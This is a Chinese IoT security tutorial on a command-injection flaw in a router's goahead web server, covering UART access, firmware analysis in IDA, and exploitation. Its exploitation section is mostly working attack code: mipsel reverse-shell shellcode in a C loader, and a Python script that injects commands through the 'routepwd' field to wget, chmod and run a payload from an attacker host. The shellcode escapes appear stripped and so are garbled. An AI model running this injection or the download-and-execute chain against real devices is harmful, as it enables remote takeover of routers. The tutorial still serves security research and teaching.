2.10.2 某路由器漏洞 · 物联网安全

某路由器漏洞

调试设备

首先通过路由器上的UART串口,进入路由器的调试窗口。

串口通讯针脚

image-20201118173219549
图 1.3.10.2.1 – image-20201118173219549

接上串口模块后,连接计算机

20201118165834
图 1.3.10.2.2 – 20201118165834

通过串口调试工具来查看输出的调试信息,其中端口号是 COM8,波特率为 57600

image-20201118173803487
图 1.3.10.2.3 – image-20201118173803487

连接成功进入 shell,可直接输入命令查看 cpu 等信息

image-20201118174512699
图 1.3.10.2.4 – image-20201118174512699

漏洞挖掘

漏洞分析

使用 binwalk 解压固件

在 /bin 目录下可以得到路由器的 web服务器的二进制文件 goahead。使用 file 命令查看 goahead 的信息如下:

img
图 1.3.10.2.5 – img

可以看到目标平台是 mips32 位,LSB 字段表明是小端序,指令集为 mips32 rel2。 使用 ida 对 goahead 进行静态分析,在 strings 窗口中直接搜索 set_manpwd ,得到两处字符串。

img
图 1.3.10.2.6 – img

分别查看交叉引用得到 0x46c558 处的字符串在 sub_457ebc 中被引用两次,

img
图 1.3.10.2.7 – img

0x46b6b4 处的字符串在 formDefineCGIjson 中被引用了一次。

img
图 1.3.10.2.8 – img

查看 formDefineCGIjson 中的引用位置发现 websFormDefine 的第二个参数被置为 sub_457ebc 的指针。

img
图 1.3.10.2.9 – img

推断 sub_457ebc 为主要处理 set_manpwd 的函数,进入sub_457ebc 函数发现主要有以下函数调用: 获取 routepwd 的值,该字段正是可以更改密码和命令执行的字段,

img
图 1.3.10.2.10 – img

将传入的参数格式化成 json 对象并传入 bs_setmanpwd 函数,同时传入的还有当前栈帧的字符串地址,对 bs_setmanpwd 函数分析之后发现是一个来自 libshare.so 的库函数,且对我们的漏洞并无重大影响

img
图 1.3.10.2.11 – img

对 http 请求进行回复并删除 json 对象。

img
图 1.3.10.2.12 – img

获取 password 并使用 password 格式化字符串 “chpasswd.sh admin %s”,可以看出此条命令应该和修改管理员密码有关,继续向下发现 bl_do_system 函数的参数为刚才格式化好的字符串,推测此处应该是修改密码并进行命令执行的地方。

img
图 1.3.10.2.13 – img

漏洞利用

生成 payload

使用 routersploit 生成一个 mipsel 下的 reverse_tcp shellcode。routersploit 是一款针对嵌入式设备的开源漏洞检测及利用框架。

img
图 1.3.10.2.14 – img

将 shellcode 编写进 c 代码

#include <stdio.h>

typedef int(*fun)();

unsigned char sc[] = {
    "xffxffx04x28xa6x0fx02x24x0cx09x09x01x11x11x04"
    "x28xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27x20"
    "x80x01xa6x0fx02x24x0cx09x09x01xfdxffx0cx24x27"
    "x20x80x01x27x28x80x01xffxffx06x28x57x10x02x24"
    "x0cx09x09x01xffxffx44x30xc9x0fx02x24x0cx09x09"
    "x01xc9x0fx02x24x0cx09x09x01x15xb3x05x3cx02x00"
    "xa5x34xf8xffxa5xafx10x65x05x3cxc0xa8xa5x34xfc"
    "xffxa5xafxf8xffxa5x23xefxffx0cx24x27x30x80x01"
    "x4ax10x02x24x0cx09x09x01x62x69x08x3cx2fx2fx08"
    "x35xecxffxa8xafx73x68x08x3cx6ex2fx08x35xf0xff"
    "xa8xafxffxffx07x28xf4xffxa7xafxfcxffxa7xafxec"
    "xffxa4x23xecxffxa8x23xf8xffxa8xafxf8xffxa5x23"
    "xecxffxbdx27xffxffx06x28xabx0fx02x24x0cx09x09"
    "x01"
};

void main(void)
{
    fun pf;
    pf = (fun)sc;
    pf();
}

Buildroot编译

./mipsel-linux-gcc mipsel-reverse-tcp.c -o x

EXP

# coding:utf-8
import   requests
import   telnetlib
import   time
import   sys

host  =  "192.168.16.1"
port = "23"
password= "iot_pwn_test"

headers = { &apos;User-Agent&apos; : &apos;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36&apos;,
            &apos;Accept-Language&apos;    : &apos;zh-CN,zh;q=0.8&apos;,
            &apos;Content-Type&apos;:    &apos;application/x-www-form-urlencoded&apos;
          }

def command(con, flag, str_=""):
    data = con.read_until(flag.encode())
    print(data.decode(errors=&apos;ignore&apos;))
    con.write(str_.encode() + b"n")
    return data

def  set_pwd():
    url="http://%s/goform/set_manpwd" % (host)
    cookies = dict(platform=&apos;0&apos;,user=&apos;admin&apos;)
    data= {&apos;type&apos;:&apos;setmanpwd&apos;,&apos;routepwd&apos;:&apos;iot_pwn_test&apos;}
    r = requests.post(url, data= data ,cookies= cookies)

def  exploit(str):
    url="http://%s/goform/set_manpwd" % (host)
    cookies = dict(platform=&apos;0&apos;,user=&apos;admin&apos;)
    data= {&apos;type&apos;:&apos;setmanpwd&apos;,&apos;routepwd&apos;:&apos;iot_pwn_test%0A &&  &apos;+str}
    r = requests.post(url, data= data ,cookies= cookies)
    print r.text

def  execute():
    tn = telnetlib.Telnet(host)
    command(tn, "login: ", "admin")
    if password:
        command(tn, "Password:", password)
    command(tn, "$", "ls")
    command(tn, "$", " exit")
    command(tn, "$", "")
    tn.close()

exploit(&apos;wget  http://192.168.16.103/x  -O  /tmp/a   &&  chmod  777  /tmp/a  &&   /tmp/a&apos;)

set_pwd()

相关推荐: 2.10.1 智能硬盘漏洞 · 物联网安全

某智能加密硬盘的漏洞 这是一款可连接 wifi 且带网口的移动加密硬盘,手机可以通过 app 进行远程管理,还可以通过 app 单独设置密码加密隐私文件。 图 1.3.10.1.1 – image-20201112194124466 攻击思路 图 1.3.10…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享